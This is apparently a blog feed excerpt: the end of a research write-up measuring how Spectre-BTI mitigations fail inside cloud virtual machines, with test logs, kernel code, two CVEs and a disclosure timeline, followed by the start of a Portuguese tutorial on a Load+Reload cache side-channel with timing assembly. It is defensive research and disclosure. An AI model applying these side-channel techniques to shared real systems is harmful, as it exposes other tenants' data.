PRCTL GET value 0x9 Rate: 0/1000 MSR[72]=2 [...] Rate: 0/1000 MSR[72]=2 Total misspredict rate: 0/10000 (0.00 %) real\t0m0,744s user\t0m0,200s sys\t0m0,022s Testing victim-PRCTL on core 4: PRCTL GET value 0x9 Rate: 0/1000 MSR[72]=2 [...] Rate: 0/1000 MSR[72]=2 Total misspredict rate: 0/10000 (0.00 %) real\t0m0,744s user\t0m0,222s sys\t0m0,013s Conclusion Table: Ubuntu 22.04.1 LTS:\nKernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64\nCPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz\nResults for Control Test Setup (Bare Metal): Mitigation Same Core SMT Expected? No mitigation 99.99 % 99.88 % Yes IBRS 0.00 % 0.00 % Yes STIBP 61.98 % 0.00 % Yes IBPB 0.00 % 0.14 % Yes PRCTL 0.00 % 0.00 % Yes CVE 2023-0045 Bypassing Spectre-BTI User Space Mitigations on Linux 15 In some tests it was detected traces of speculative execution when using PRCTL as mitigation and seting the attacker on the same core. Further research explaned this behaviour due a Kernel bug. Previous implementation of the mitigation only marks the process as protected and dont issue the IBPB during the syscall. this leaves the process unprotected until the next schedule, thus allowing the process to execute for a short period using values already present on the BTB.\nTests on KVM In the same Bare Metal machine, we set up a KVM virtual machine with an ubuntu 22.04.5 image:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ virt-install -n ubuntu22 --ram=1024 --vcpus=2 --disk bus=virtio,size=10 --graphics none --location=/var/lib/libvirt/images/ubuntu-22.04.1-live-server-amd64.iso --extra-args=\u0026#39;console=ttyS0\u0026#39; //The 2 vcpus are pinned to siblings on the host machine: $ virsh vcpuinfo ubuntutest22 VCPU: 0 CPU: 0 State: running CPU time: 17,9s CPU Affinity: y------- VCPU: 1 CPU: 4 State: running CPU time: 11,9s CPU Affinity: ----y--- The spectre-meltdown checker output:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 Checking for vulnerabilities on current system Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64 CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz Hardware check * Hardware support (CPU microcode) for mitigation techniques * Indirect Branch Restricted Speculation (IBRS) * SPEC_CTRL MSR is available: YES * CPU indicates IBRS capability: YES (SPEC_CTRL feature bit) * Indirect Branch Prediction Barrier (IBPB) * CPU indicates IBPB capability: YES (SPEC_CTRL feature bit) * Single Thread Indirect Branch Predictors (STIBP) * SPEC_CTRL MSR is available: YES * CPU indicates STIBP capability: YES (Intel STIBP feature bit) [...] CVE-2017-5715 aka \u0026#39;Spectre Variant 2, branch target injection\u0026#39; * Mitigated according to the /sys interface: YES (Mitigation: Retpolines, IBPB: conditional, IBRS_FW, STIBP: disabled, RSB filling, PBRSB-eIBRS: Not affected) * Mitigation 1 * Kernel is compiled with IBRS support: YES * IBRS enabled and active: YES (for firmware code only) * Kernel is compiled with IBPB support: YES * IBPB enabled and active: YES * Mitigation 2 * Kernel has branch predictor hardening (arm): NO * Kernel compiled with retpoline option: YES * Kernel compiled with a retpoline-aware compiler: YES (kernel reports full retpoline compilation) \u0026gt; STATUS: NOT VULNERABLE (Full retpoline + IBPB are mitigating the vulnerability) Results for baremetal-kvm: Mitigation NOSMT SMT Expected? No mitigation 99.95 % 99.99 % Yes IBRS 0.00 % 0.00 % Yes STIBP 99.98 % 0.01 % Yes IBPB 0.00 % 98.68 % Yes PRCTL 0.01 % 99.98 % No The tests showed something unexpected: all mitigations worked properly when tested individually, but the prctl is not setting the STIBP MSR like it does when executed in the host, leaving it vulnerable to SMT attacks:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 Testing victim-STIBP on core 1: current value msr[72]=1 on core 1 writing msr[72]=2 on core 1 current value msr[72]=2 on core 1 Rate: 1/1000 MSR[72]=2 -\u0026gt; CVE 2023-0045 trace Rate: 0/1000 MSR[72]=2 Rate: 0/1000 MSR[72]=2 Rate: 0/1000 MSR[72]=2 Rate: 0/1000 MSR[72]=2 Rate: 0/1000 MSR[72]=2 Rate: 0/1000 MSR[72]=2 Rate: 0/1000 MSR[72]=2 Rate: 0/1000 MSR[72]=2 Rate: 0/1000 MSR[72]=2 Total misspredict rate: 1/10000 (0.01 %) current value msr[72]=2 on core 1 [...] Testing victim-PRCTL on core 1: PRCTL GET value 0x9 Rate: 1000/1000 MSR[72]=0 Rate: 999/1000 MSR[72]=0 Rate: 1000/1000 MSR[72]=0 Rate: 1000/1000 MSR[72]=0 Rate: 1000/1000 MSR[72]=0 Rate: 999/1000 MSR[72]=0 Rate: 1000/1000 MSR[72]=0 Rate: 1000/1000 MSR[72]=0 Rate: 1000/1000 MSR[72]=0 Rate: 1000/1000 MSR[72]=0 Total misspredict rate: 9998/10000 (99.98 %) The PRCTL syscall on this kernel fails to mitigate SMT BTI attacks inside the default KVM. Further investigation showed that in this case, besides KVM allowing proper MSR writes, the Linux kernel only implements the STIBP mitigation if the processor is executing in SMT (which makes sense on a Bare Metal system):\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 static __always_inline void __speculation_ctrl_update(unsigned long tifp, unsigned long tifn) { [...] /* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */ if (IS_ENABLED(CONFIG_SMP) \u0026amp;\u0026amp; static_branch_unlikely(\u0026amp;switch_to_cond_stibp)) { updmsr |= !!(tif_diff \u0026amp; _TIF_SPEC_IB); msr |= stibp_tif_to_spec_ctrl(tifn); } if (updmsr) write_spec_ctrl_current(msr, false); } Even though both cores are siblings on the host, the guest OS believes they are not siblings (due to how the hypervisor exposes the hardware) and therefore STIBP is not necessary. This explains why MSR[72]=0 during the prctl mitigation. Reading /sys/devices/system/cpu/cpu0/topology/thread_siblings_list on guest shows that there is only one sibling core:\n0\nversus 2 on the guest:\n0,4\nTests on google cloud Results for gcp-n1-standard-2-Intel_Haswell: Google cloud shows that mitigations are available for spectre-BTI:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 Checking for vulnerabilities on current system Kernel is Linux 5.15.0-1025-gcp #32-Ubuntu SMP Wed Nov 23 21:46:01 UTC 2022 x86_64 CPU is Intel(R) Xeon(R) CPU @ 2.30GHz Hardware check * Hardware support (CPU microcode) for mitigation techniques * Indirect Branch Restricted Speculation (IBRS) * SPEC_CTRL MSR is available: YES * CPU indicates IBRS capability: YES (SPEC_CTRL feature bit) * Indirect Branch Prediction Barrier (IBPB) * CPU indicates IBPB capability: YES (SPEC_CTRL feature bit) * Single Thread Indirect Branch Predictors (STIBP) * SPEC_CTRL MSR is available: YES * CPU indicates STIBP capability: YES (Intel STIBP feature bit) Google cloud output shows some different results than the ones observed in bare metal and KVM: It\u0026rsquo;s never possible to write another value other than 1 to IA32_SPEC_CTRL.\n1 2 3 4 5 6 7 8 9 10 11 12 Testing victim-nospecctrl on core 0: current value msr[72]=1 on core 0 writing msr[72]=0 on core 0 current value msr[72]=1 on core 0 [...] Rate: 1000/1000 MSR[72]=1 Total misspredict rate: 9979/10000 (99.79 %) current value msr[72]=1 on core 0 real\t0m0.879s user\t0m0.267s sys\t0m0.082s This behavior is odd. Because the IA32_SPEC_CTRL is set (IBRS), but speculation still happens, and there isn\u0026rsquo;t an overhead associated with disabling the speculation:\n1 2 3 4 5 6 7 8 9 10 11 12 Testing victim-IBRS on core 0: current value msr[72]=1 on core 0 writing msr[72]=1 on core 0 current value msr[72]=1 on core 0 Rate: 995/1000 MSR[72]=1 [...] Total misspredict rate: 9945/10000 (99.45 %) current value msr[72]=1 on core 0 real\t0m0.877s user\t0m0.332s sys\t0m0.017s The time here for finishing the task is 0.877s, similar to the 0.7s on bare metal and shorter than the 1.5s for IBRS on bare metal, with Haswell CPUs. That might indicate that the hypervisor is reporting a value that is not really set in the MSR.\nSince it´s not possible to enable STIBP, PRCTL is expected to fail on the sibling attack, even if prctl doesn\u0026rsquo;t throw an error:\n1 2 3 4 Testing victim-PRCTL on core 1: PRCTL GET value 0x9 [...] Total misspredict rate: 9920/10000 (99.20 %) Mitigation NOSMT SMT Expected? No mitigation 99.79 % 99.90 % Yes IBRS 99.45 % 0.01 % (1) No STIBP 90.47 % 87.62 % No IBPB 99.78 % 0.01 % Yes PRCTL 0.00 % 97.57 % No (1) This result might be a false negative, since repeating the experiment shows higher speculation rates as observed in the data collected.\nThe results show that the only effective mitigation in this machine is IBPB and that the PRCTL-based mitigation is ineffective due to lack of STIBP.\nResults for gcp-debian-10-haswell: We had a surprise though when after starting a Debian 10 machine in the same processor consistently allowed for an MSR write on the IA32_SPEC_CTRL register:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 Checking for vulnerabilities on current system Kernel is Linux 4.19.0-22-cloud-amd64 #1 SMP Debian 4.19.260-1 (2022-09-29) x86_64 CPU is Intel(R) Xeon(R) CPU @ 2.30GHz Hardware check * Hardware support (CPU microcode) for mitigation techniques * Indirect Branch Restricted Speculation (IBRS) * SPEC_CTRL MSR is available: YES * CPU indicates IBRS capability: YES (SPEC_CTRL feature bit) * Indirect Branch Prediction Barrier (IBPB) * CPU indicates IBPB capability: YES (SPEC_CTRL feature bit) * Single Thread Indirect Branch Predictors (STIBP) * SPEC_CTRL MSR is available: YES * CPU indicates STIBP capability: YES (Intel STIBP feature bit) Mitigation NOSMT SMT Expected? No mitigation 99.81 % 93.45 % Yes IBRS 0.01 % 00.03 % Yes STIBP 99.63 % 0.02 % Yes IBPB 0.02 % 86.21 % Yes PRCTL 0.02 % 0.04 % (1) Yes (1) It is possible to see that the speculation rate is different than zero, but it is unclear if it\u0026rsquo;s measurement noise or an actual vulnerability as will be discussed later.\nObviously just changing the OS should not give different MSR values, since it is highly unlikely that the hypervisor would show a different behavior based on the OS (kernel). Our first guess was that when choosing a different OS we were getting into a different pool of machines. But that also seemed unlikely. We have decided to then upgrade the older system kernel, and oddly, saw the previous behavior again (but now we were certain we were in the same machine since the reboot was too fast for us to have had a live migration). Our next theory was that the different kernels were using different mitigation strategies (IBRS versus IBPB with STIBP). By starting the new upgraded system with ‘mitigations=off’ kernel parameter, we’ve noticed that we were now able again to write in the MSRs. We then tested the other machine, and indeed, with\n‘mitigations=off’, we were able to write to the MSRs.\nFurther investigation showed this behaviour was caused by a kernel bug as described by CVE 2023-1998.\nCVE 2023-1998: Spectre v2 SMT mitigations problem 16 Later research explains this behaviour due a bug in the Linux Kernel that prevents the guest to properly select STIBP as a mitigation when IBRS is choosed to protect the Kernel. The Bare metal haswell reports the cpu not being vulnerable to RETBLEED, but the CPU on google cloud reports RETBLEED as one of its bugs.\noxigenio2-result.txt:\nbugs: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs itlb_multihit srbds mmio_unknown\ngcp-n1-standard-2-intel_Haswell-result.txt\nbugs: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs mmio_stale_data retbleed\nThis forces the CPU on google cloud to choose IBRS as mitigation for the kernel. The bug lies in the logic of mitigation selection (https://elixir.bootlin.com/linux/v6.2/source/arch/x86/kernel/cpu/bugs.c#L1196). The comments state that if the CPU is using IBRS, STIBP is not necessary wich is wrong, this is only valid for eIBRS.\n1 2 3 4 5 6 7 8 /* * If no STIBP, IBRS or enhanced IBRS is enabled, or SMT impossible, * STIBP is not required. */ if (!boot_cpu_has(X86_FEATURE_STIBP) || !smt_possible || spectre_v2_in_ibrs_mode(spectre_v2_enabled)) return; This explains why every read is 1 on google cloud guests and the mitigation is broken, since the read is done by msr kernel driver wich is set to IBRS on kernel entry and clear the SPEC_CTRL MSR on kernel exit, leaving the victim exposed to SMT attacks. It also explains why setting ‘mitigations=off’ allows the direct mitigation usign the msr module, since the SPEC_CTRL MSR is no longer modied when transitioning between kernel and user mode.\nTests on AWS EC2 The AWS EC2 instances don\u0026rsquo;t enumerate hardware mitigations, leading to SPEC_CTRL MSR being always 0 and IBPB not working:\nResults for aws-t2.medium: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 Checking for vulnerabilities on current system Kernel is Linux 5.15.0-1026-aws #30-Ubuntu SMP Wed Nov 23 14:15:21 UTC 2022 x86_64 CPU is Intel(R) Xeon(R) CPU E5-2686 v4 @ 2.30GHz Hardware check * Hardware support (CPU microcode) for mitigation techniques * Indirect Branch Restricted Speculation (IBRS) * SPEC_CTRL MSR is available: YES * CPU indicates IBRS capability: NO * Indirect Branch Prediction Barrier (IBPB) * CPU indicates IBPB capability: NO * Single Thread Indirect Branch Predictors (STIBP) * SPEC_CTRL MSR is available: YES * CPU indicates STIBP capability: NO [...] Testing victim-PRCTL on core 0: prctl: Operation not permitted PRCTL GET value 0x2 Rate: 999/1000 MSR[72]=0 [...] Rate: 1000/1000 MSR[72]=0 Total misspredict rate: 9995/10000 (99.95 %) real\t0m1.827s user\t0m0.328s sys\t0m0.000s Mitigation NOSMT SMT Expected? No mitigation 99.86 % 0.09 % Yes IBRS 99.79 % 0.06 % Yes STIBP 99.89 % 0.11 % Yes IBPB 36.82 % 0.05 % No PRCTL 99.95 % 0.10 % No Since the enumeration using CPUID doesn\u0026rsquo;t show support for IBPB, the prctl syscall fails and no mitigations are applied. A similar result can be found for t3 instances.\nResults for aws-t3a.nano: EC2 t3a instances use AMD processors, showing that this problem is not exclusive to Intel processors. In the t3a instances tested it isn\u0026rsquo;t possible to read or write to the MSRs, and prctl also fails with operation not permitted error.\n1 2 3 4 5 6 7 8 9 10 11 12 Kernel is Linux 5.15.0-1026-aws #30-Ubuntu SMP Wed Nov 23 14:15:21 UTC 2022 x86_64 CPU is AMD EPYC 7571 Hardware check * Hardware support (CPU microcode) for mitigation techniques * Indirect Branch Restricted Speculation (IBRS) * SPEC_CTRL MSR is available: NO * CPU indicates IBRS capability: NO * CPU indicates preferring IBRS always-on: NO * CPU indicates preferring IBRS over retpoline: NO * Indirect Branch Prediction Barrier (IBPB) * CPU indicates IBPB capability: NO Mitigation NOSMT SMT Expected? No mitigation 76.58 % 99.87 % Yes IBRS 57.67 % 99.87 % No STIBP 28.44 % 99.92 % No IBPB 75.19 % 99.84 % No PRCTL 73.91 % 99.85 % No Tests on Azure Results for azure-d2sv3: The results for this machine are similar to the t3a instance. It\u0026rsquo;s impossible to read or write from any SPEC_CTRL MSRs and all scenarios are vulnerable, even though it\u0026rsquo;s a Haswell CPU.\nResults for azure-ubuntu22-F2s-v2: This machine contains a Xeon(R) Platinum 8272CL (Cascade Lake). Our tests show that Cascade Lake CPUs are highly resilient against SMT attacks. IBPB can’t be used on this VM, it\u0026rsquo;s not possible to read or write from SPEC_CTRL MSR and prctl fails. Given the tests show the system is not vulnerable, we conclude that the hardware mitigation is forced-enabled.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 Checking for vulnerabilities on current system Kernel is Linux 5.15.0-1029-azure #36-Ubuntu SMP Mon Dec 5 19:31:08 UTC 2022 x86_64 CPU is Intel(R) Xeon(R) Platinum 8272CL CPU @ 2.60GHz Hardware check * Hardware support (CPU microcode) for mitigation techniques * Indirect Branch Restricted Speculation (IBRS) * SPEC_CTRL MSR is available: NO * CPU indicates IBRS capability: NO * Indirect Branch Prediction Barrier (IBPB) * CPU indicates IBPB capability: NO * Single Thread Indirect Branch Predictors (STIBP) * SPEC_CTRL MSR is available: NO * CPU indicates STIBP capability: NO Mitigation NOSMT SMT Expected? No mitigation 98.81 % 0.01 % Yes IBRS 0.00 % 0.01 % No (1) STIBP 99.94 % 0.00 % Yes IBPB 99.94 % 0.01 % No PRCTL 99.90 % 0.00 % No (1) But not vulnerable, so we assume forced enabled\nTests on Oracle Cloud Intel CPUs tested on Oracle Cloud work as expected, but the AMD CPU tested only enumerates the IBPB mitigation, leaving sibling thread attacks exposed. Since the PRCTL can execute IBPB, the syscall succeeds, but it\u0026rsquo;s not enough to protect the process.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Kernel is Linux 5.15.0-1021-oracle #27-Ubuntu SMP Fri Oct 14 20:04:26 UTC 2022 x86_64 CPU is AMD EPYC 7551 32-Core Processor Hardware check * Hardware support (CPU microcode) for mitigation techniques * Indirect Branch Restricted Speculation (IBRS) * SPEC_CTRL MSR is available: NO * CPU indicates IBRS capability: NO * CPU indicates preferring IBRS always-on: NO * CPU indicates preferring IBRS over retpoline: NO * Indirect Branch Prediction Barrier (IBPB) * CPU indicates IBPB capability: YES (IBPB_SUPPORT feature bit) * Single Thread Indirect Branch Predictors (STIBP) * SPEC_CTRL MSR is available: NO * CPU indicates STIBP capability: NO Testing victim-PRCTL on core 1: PRCTL GET value 0x9 rdmsr: CPU 1 cannot read reg 72 Rate: 1000/1000 MSR[72]=-1 [...] Rate: 1000/1000 MSR[72]=-1 Total misspredict rate: 9998/10000 (99.98 %) Tests on Digital Ocean The tested machines correctly enumerate the CPUs and allow MSR writes. We did observe a higher than expected hit rate with the IBPB usage. It is unexpected since, as we’ve stated in the beginning of the report, some hits were supposed to be seen due to the lack of synchronization, but what we saw was closer to 30% (versus \u0026lt;1%). Given that IBPB does seem to be used, it might be something unrelated to the scope of this research so we’ve decided to report the observation versus investigating it further (notice that we had difficulties identifying the underlying hardware used as well).\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Kernel is Linux 5.19.0-23-generic #24-Ubuntu SMP PREEMPT_DYNAMIC Fri Oct 14 15:39:57 UTC 2022 x86_64 CPU is DO-Premium-AMD Hardware check * Hardware support (CPU microcode) for mitigation techniques * Indirect Branch Restricted Speculation (IBRS) * SPEC_CTRL MSR is available: YES * CPU indicates IBRS capability: NO * CPU indicates preferring IBRS always-on: NO * CPU indicates preferring IBRS over retpoline: NO * Indirect Branch Prediction Barrier (IBPB) * CPU indicates IBPB capability: YES (IBPB_SUPPORT feature bit) * Single Thread Indirect Branch Predictors (STIBP) * SPEC_CTRL MSR is available: YES * CPU indicates STIBP capability: YES (AMD STIBP feature bit) * CPU indicates preferring STIBP always-on: NO Mitigation NOSMT SMT Expected? No mitigation 0.04 % 0.41 % No IBRS 0.05 % 0.38 % No STIBP 0.14 % 0.25 % No IBPB 29.39 % 18.88 % No PRCTL 0.02 % 0.02 % No Conclusion The hardware mitigations for spectre-BTI provide different options for different scenarios. They also vary in performance impact and scope. Those mitigations are exposed to the applications via a kernel system call that abstracts some of the complexity (such as deciding if there are sibling threads or not on a system, if and which of the hardware mitigations are available and adequate, etc). Besides that, another level of abstraction is the hypervisor (which can expose or not the hardware features by filtering the cpuid output, or even control the MSR accesses and the understanding of sibling threads and cores). Each abstraction (hypervisor, kernel, hardware) has to properly work for the mitigation to be complete. Unfortunately, while the hardware interface is well documented, the kernel interface changes its default (like using IBRS versus STIBP/IBPB) and the hypervisor is dependent on the configuration (which is controlled by the different cloud providers, that DO NOT share their choices). That leads to a scenario in which the default configuration might be adequate for bare metal machines, but it is not (for different reasons) in the different cloud setups.\nGiven our research was not comprehensive (many different stances and offers were not tested) and the test method could be greatly improved, as well as some of the observed results could be more deeply analyzed, we are also sharing the raw data in the hopes to incentivize the community (and the security engineering teams of the companies) to look further.\nAcknowledgements We would like to thank Alexandra Sandulescu for the excellent feedback, discussions and for reviewing/editing this write-up.\nTool \u0026amp; source code The tool and results for multiple instances can be found at https://github.com/es0j/hyperbleed .\nTimeline December 01 2022 - Unexpected behavior on prctl detected December 30 2022 - CVE 2023-0045 reported to kernel security team January 01 2022 - CVE 2023-0045 fixed December 23 2022 - First version of this writeup December 26 2022 - Multiple tests performed on cloud providers December 28 2022 - KVM behavior better understood, more cloud provider tests December 31 2023 - Final write-up shared with AWS, Google, Oracle and Digital Ocean. No response until near the finish of 90 days embargo. February 20 2023 - CVE 2023-1998 spectre v2 SMT mitigations problem reported to kernel security team March 02 2023 - CVE 2023-0045 disclosed on google security research March 30 2023 - CVE 2023-1998 fixed April 12 2023 - CVE 2023-1998 disclosed on google security research May 29 2023 - Hyperbleed report published References: “Exec ASLR: Abusing Intel Branch Predictors to bypass ASLR”. Link: https://github.com/es0j/ExecASLR-ekoparty\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n“Reverse Branch Target Buffer Poisoning”. Link: https://cos.ufrj.br/uploadfile/publicacao/3061.pdf\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n\u0026ldquo;RET2ASLR - Leaking ASLR from return instructions\u0026rdquo; Link:https://github.com/google/security-research/tree/master/pocs/cpus/ret2aslr\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n“Branch Target Injection\u0026quot;. Link: https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/advisory-guidance/branch-target-injection.html\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n“The Linux kernel user-space API guide: Speculation Control”. Link: https://docs.kernel.org/userspace-api/spec_ctrl.html\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n\u0026ldquo;Linux Source code\u0026rdquo; Link: https://elixir.bootlin.com/linux/v5.15.65/source/arch/x86/kernel/cpu/bugs.c#L1970\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n\u0026ldquo;Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 4: Model-Specific Registers\u0026rdquo; Link:https://www.intel.com/content/dam/develop/external/us/en/documents/335592-sdm-vol-4.pdf\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n\u0026ldquo;AMD64 Architecture Programmer’s Manual Volume 2:\u0026rdquo; Link:https://www.amd.com/system/files/TechDocs/24593.pdf\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n“Speculative Execution Side Channel Mitigations”. Link:https://www.intel.com/content/dam/develop/external/us/en/documents/336996-speculative-execution-side-channel-mitigations.pdf\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n\u0026ldquo;Speculative Execution Side Channel Mitigations\u0026rdquo; Link: https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/technical-documentation/speculative-execution-side-channel-mitigations.html\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n“The Linux kernel user-space API guide: Speculation Control”. Link:https://www.kernel.org/doc/html/latest/userspace-api/spec_ctrl.html\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n\u0026ldquo;Linux Source code\u0026rdquo; Link:https://elixir.bootlin.com/linux/v5.15.65/source/arch/x86/kernel/cpu/bugs.c#L1900\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n\u0026ldquo;Seccomp\u0026rdquo; Link:https://man7.org/linux/man-pages/man2/seccomp.2.html\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n\u0026ldquo;Spectre Meltdown Checker\u0026rdquo; Link:https://github.com/speed47/spectre-meltdown-checker\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n“CVE 2023-0045 Bypassing Spectre-BTI User Space Mitigations”. Link:https://github.com/google/security-research/security/advisories/GHSA-9x5g-vmxf-4qj8\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n“CVE 2023-1998 Spectre v2 SMT mitigations problem”. Link:https://github.com/google/security-research/security/advisories/GHSA-mj4w-6495-6crx\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"http://grisufrj.github.io/blog/2023-05-29-hyperbleed-post/","summary":"Version 1.0 Introduction During our tests for reverse spectre attacks 123, we have observed that the behavior of the spectre-BTI4 mitigations differs between a bare-metal and a cloud-based scenario.\nThe Linux kernel allows userspace processes to enable mitigations by calling prctl5 with the PR_GET_SPECULATION_CTRL which disables the speculation feature or by using seccomp6. The default behavior changed over time (from using IBPB/STIBP to IBRS).\nWe have measured that on some instances of Google, AWS, Azure and Oracle, the spectre-BTI mitigation using prctl still leaves the victim exposed to attacks in some cases.","title":"Hyperbleed - Current state of spectre-BTI mitigations on cloud"},{"content":"Introdução Em busca da maior performance possível, os processadores atuais tiram vantagem de diversos artifícios, muitas vezes sem grande consideração pela segurança. Nesse contexto, ataques como Spectre (Kocher et al. 2019) e Meltdown (Lipp et al. 2018) mostram que a execução especulativa é um tópico muito interessante a ser explorado. Nesse artigo, construiremos uma prova de conceito do ataque Load+Reload (Lipp et al. 2020), que tira vantagem do preditor de way presente na cache dos processadores atuais da AMD. Durante esse processo, veremos uma forma diferente de medir o tempo de leitura da memória, a thread contadora, mais precisa do que a instrução rdtsc, usada em ataques como Flush+Reload (Yarom and Falkner 2014).\nOrganização interna da cache A cache de um processador é uma memória que armazena páginas de memória recentemente acessadas. Por na maior parte das vezes ser composta por células de memória estáticas (SRAM), a cache é múltiplas vezes mais rápida que a memória principal de um computador, que usa células dinâmicas (DRAM).\nA menor unidade dentro da cache é chamada de linha e geralmente tem o mesmo tamanho de uma página de memória. Uma certa página, no entanto, não necessariamente pode ser armazenada em qualquer linha. O grupo de linhas nas quais uma página pode ser amazenada é chamada de set. Além disso, cada linha de um set onde uma certa página pode ser armazenada é chamada de way.\nNo caso mais simples, cada set tem apenas 1 way e a cache é considerada diretamente mapeada, pois cada página só pode ser armazenada em exatamente uma linha. Se, pelo contrário, uma página pode ser armazenada em qualquer linha, a cache é considerada totalmente associativa, como se tivesse apenas 1 grande set. Por fim, se uma página pode ser armazenada em n linhas, a cache é considerada associativa por conjunto n-way.\nOutro ponto importante é a forma como a cache será indexada e marcada. O index se refere ao endereço utilizado para acessar um certo set, enquanto que a marca[1] se refere a como cada way dentro de um set será identificado. Nos processadores Zen da AMD, a cache é virtualmente indexada e fisicamente marcada (VIPT)[2](AMD 2019). Isso significa que a partir do endereço virtual de uma página é possível encontrar o set onde ela está armazenada na cache. Analogamente, a partir do endereço físico de uma página é possível encontrar em qual way do set página está.\nPredição de way Como explicado no tópico anterior, quando uma página de memória é requisitada, primeiro o endereço virtual dela é utilizado para determinar o set da cache onde ela pode estar armazenada. Após determinar o set, o endereço físico é utilizado para encontrar o way. A grande vantagem desse método é que o endereço físico pode ser calculado enquanto o set está sendo determinado.\nNa arquitetura Zen da AMD, a cache L1 de dados é associativa por conjunto 8-way(AMD 2019), ou seja, pode ser necessário verificar a marca de 8 ways para saber em qual deles uma página pode estar armazenada. A fim de acelerar esse processo, o processador usa uma μmarca para determinar se a página está ou não em um set(AMD 2019). A μmarca é uma função do endereço virtual e, analogamente à marca normal, fica armazenada em cada way. Como ela não depende do endereço físico, o processador pode rapidamente verificar se algum way tem a μmarca correspondente e, se nenhum tiver, imediamente desistir da cache L1 e começar a procurar a página na cache L2, sem nem mesmo esperar a tradução do endereço virtual para o físico.\nO problema ocorre quando dois endereços virtuais distintos referentes ao mesmo endereço físico são acessados em sucessão. Cada acesso vai alterar a μmarca, fazendo com que o próximo acesso caia para a cache L2, já que o preditor de way não encontrará a μmarca que foi sobrescrita(AMD 2019). Nesse caso, todos os acessos serão feitos na cache L2, aumentando o tempo de acesso.\nAtaques de cache Um side-channel se baseia em extrair informação por meio de algum rastro deixado pela implementação de um sistema. A cache de um processador, por exemplo, implicitamente informa um processo se uma certa página de memória foi acessada recentemente.\nSe dois processos A e B compartilham a mesma página de memória, o processo B pode medir o tempo gasto para ler a página e determinar se a mesma está ou não na cache. Caso a leitura seja rápida, a página estava na cache; caso contrário, não estava. Dessa forma, se o processo B sabe que a página não estava na cache em um momento t1 e em um momento posterior t2 for determinado que a página estava na cache, pode-se concluir que o processo A a acessou.\nMedindo o tempo de acesso rdtsc No artigo original do ataque Flush+Reload (Yarom and Falkner 2014), a instrução rdtsc é utilizada para pedir o tempo de acesso à memória e determinar se uma certa página está ou não na cache. Essa instrução carrega o valor do time-stamp counter nos registradores edx:eax. Assim, em conjunto com instruções de ordenação de execução, é possível calcular o tempo decorrido entre o início e fim da leitura.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 //Função que calcula o tempo de acesso a uma página usando a instrução uint64_t load_count(uint64_t *addr) { uint64_t volatile time; asm volatile ( \u0026#34;mfence \\n\\t\u0026#34; \u0026#34;lfence \\n\\t\u0026#34; \u0026#34;rdtsc \\n\\t\u0026#34; \u0026#34;lfence \\n\\t\u0026#34; \u0026#34;movl %%eax, %%ebx \\n\\t\u0026#34; \u0026#34;movq (%%rcx), %%rcx \\n\\t\u0026#34; \u0026#34;lfence \\n\\t\u0026#34; \u0026#34;rdtsc \\n\\t\u0026#34; \u0026#34;subl %%ebx, %%eax \\n\\t\u0026#34; : \u0026#34;=a\u0026#34; (time) : \u0026#34;c\u0026#34; (addr) : \u0026#34;rbx\u0026#34; ); return time; } Função que calcula o tempo de acesso a uma página usando a instrução \\texttt{rdtsc}\nUm problema ao usar a instrução rdtsc é que nos processadores mais recentes da AMD ela não é mais tão precisa, pois tem seu contador incrementado a cada 30 ciclos aproximadamente (Lipp et al. 2020). Esse fato diminui muito a resolução da medição, principalmente em ataques nos quais a diferença do tempo de acesso é mais sutil.\nA thread contadora 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 //Função da thread contadora uint64_t volatile count = 0; void *counting_thread(void *args) { set_affinity(COUNTING_CORE); asm volatile ( \u0026#34;xorq %%rax, %%rax \\n\\t\u0026#34; \u0026#34;loop%=: \\n\\t\u0026#34; \u0026#34;incq %%rax \\n\\t\u0026#34; \u0026#34;movq %%rax, (%%rbx) \\n\\t\u0026#34; \u0026#34;jmp loop%= \\n\\t\u0026#34; : : \u0026#34;b\u0026#34; (\u0026amp;count) : \u0026#34;rax\u0026#34; ); pthread_exit(NULL); } O artigo ARMageddon (Lipp et al. 2016) mostrou que threads 